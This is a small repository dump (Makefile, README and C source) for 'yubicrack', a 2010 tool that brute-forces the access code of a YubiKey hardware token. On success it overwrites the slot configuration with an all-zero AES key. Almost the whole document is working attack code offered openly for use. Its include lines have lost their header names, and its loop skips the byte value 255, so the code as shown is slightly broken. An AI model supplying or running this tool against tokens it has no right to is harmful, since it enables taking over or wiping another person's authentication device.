├── Makefile ├── README └── yubicrack.c /Makefile: -------------------------------------------------------------------------------- 1 | #Thomas Roth, 18.04.2010 2 | 3 | #Compiler: 4 | CC = gcc 5 | 6 | #Comiler Flags: 7 | CFLAGS += -Wall -O3 8 | 9 | 10 | PKGFLAGS = `pkg-config --cflags --libs ykpers-1` 11 | 12 | #Source Files: 13 | SOURCES += yubicrack.c 14 | OBJECTS = $(SOURCES:.cpp=.o) 15 | 16 | #Executable name: 17 | EXECUTABLE = yubicrack 18 | 19 | all: $(SOURCES) $(EXECUTABLE) 20 | 21 | $(EXECUTABLE): $(OBJECTS) 22 | $(CC) $(LDFLAGS) $(CFLAGS) $(PKGFLAGS) $(OBJECTS) -o $@ 23 | 24 | .cpp.o: 25 | $(CC) $(CFLAGS) $< -o $@ 26 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | Yubicrack 2 | 3 | This tool tries to brute force the access code of a Yubico Yubikey. This can take a very long time (Like 'more than one year'.), so be patient. 4 | -------------------------------------------------------------------------------- /yubicrack.c: -------------------------------------------------------------------------------- 1 | /** Yubicrack, a tool to brute force the access code of a Yubikey. 2 | * 3 | * Copyright © 2010 by Thomas Roth 4 | * 5 | * Permission to use, copy, modify, and/or distribute this software for any 6 | * purpose with or without fee is hereby granted, provided that the above 7 | * copyright notice and this permission notice appear in all copies. 8 | * 9 | * THIS SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 10 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 11 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 12 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 13 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 14 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 15 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 16 | */ 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | /* Global variables, so that we can use them 24 | * in the bruteforce function. */ 25 | YK_KEY *yk; 26 | YK_CONFIG *coreconfig; 27 | int coreconfignum; 28 | 29 | /* This prints the actual accesscode with an 30 | * individual message in front of it. */ 31 | void print_access_code(char* text, unsigned char* access_code) { 32 | printf("%s: %02x%02x%02x%02x%02x%02x\n", 33 | text, 34 | access_code[0], 35 | access_code[1], 36 | access_code[2], 37 | access_code[3], 38 | access_code[4], 39 | access_code[5]); 40 | } 41 | 42 | /* Iterate through all possible access codes. 43 | * This could take a loooooooooong time. */ 44 | inline int bruteforce(unsigned char* t, int deep) { 45 | int id = 5 - deep; 46 | for(t[id]=0; t[id]<255; t[id]++) { 47 | if(deep > 0) if(bruteforce(t, deep - 1) == 0) return 0; 48 | if(!yk_write_config(yk, 49 | coreconfig, coreconfignum, 50 | t)) { 51 | print_access_code("Fail", t); 52 | } else { 53 | print_access_code("\aWin", t); 54 | return 0; 55 | } 56 | } 57 | return -1; 58 | } 59 | 60 | int main(int argc, char** argv) { 61 | 62 | char showmessage = 1; 63 | if((argc == 2) && (strcmp(argv[1], "-y") == 0)) showmessage = 0; 64 | if(showmessage == 1) { 65 | puts("--------------------------------------------"); 66 | puts("Hi! You're going to crack the access code of"); 67 | puts("a Yubikey. As soon as the appropriate code "); 68 | puts("is found, the AES key will be set to zeros."); 69 | puts("Brute forcing the code can take a very long "); 70 | puts("time, and with long I mean like more than a "); 71 | puts("year."); 72 | puts("(By the way you can bypass this message by "); 73 | puts("passing the -y option to the program.) "); 74 | puts("--------------------------------------------"); 75 | puts("Type \"start\" to continue."); 76 | 77 | char acknowledge[256]; 78 | fgets(acknowledge, 256, stdin); 79 | if(strcmp(acknowledge, "start\n") != 0) { 80 | puts("Quitting."); 81 | return EXIT_SUCCESS; 82 | } 83 | } 84 | 85 | yk = 0; 86 | unsigned char access_code[6]; 87 | const char* aeshash="00000000000000000000000000000000"; 88 | YKP_CONFIG *cfg = ykp_create_config(); 89 | YK_STATUS *st = ykds_alloc(); 90 | 91 | if(!yk_init()) { 92 | fputs("Failed to init Yubikey.\n", stderr); 93 | return EXIT_FAILURE; 94 | } 95 | if(!(yk = yk_open_first_key())) { 96 | fputs("No Yubikey found.\n", stderr); 97 | return EXIT_FAILURE; 98 | } 99 | if(!yk_get_status(yk,st)) { 100 | fputs("Failed to get status of the Yubikey.\n", stderr); 101 | return EXIT_FAILURE; 102 | } 103 | 104 | printf("Found Yubikey. Version: %d.%d.%d Touch level: %d\n", 105 | ykds_version_major(st), 106 | ykds_version_minor(st), 107 | ykds_version_build(st), 108 | ykds_touch_level(st)); 109 | 110 | if(!ykp_configure_for(cfg, 1, st)) { 111 | printf("Can't set configuration to 1.\n"); 112 | return EXIT_FAILURE; 113 | } 114 | if(ykp_AES_key_from_hex(cfg, aeshash)) { 115 | fputs("Bad AES key. WTF did you do to my source?", stderr); 116 | return EXIT_FAILURE; 117 | } 118 | 119 | coreconfig = ykp_core_config(cfg); 120 | coreconfignum = ykp_config_num(cfg); 121 | bruteforce(access_code, 5); 122 | 123 | if(st) free(st); 124 | if(!yk_close_key(yk)) { 125 | fputs("Can't close Yubikey! What the hell are you doing over there?", stderr); 126 | return EXIT_FAILURE; 127 | } 128 | if(!yk_release()) { 129 | fputs("Can't release Yubikey.", stderr); 130 | return EXIT_FAILURE; 131 | } 132 | 133 | if(cfg) ykp_free_config(cfg); 134 | 135 | return EXIT_SUCCESS; 136 | } 137 | --------------------------------------------------------------------------------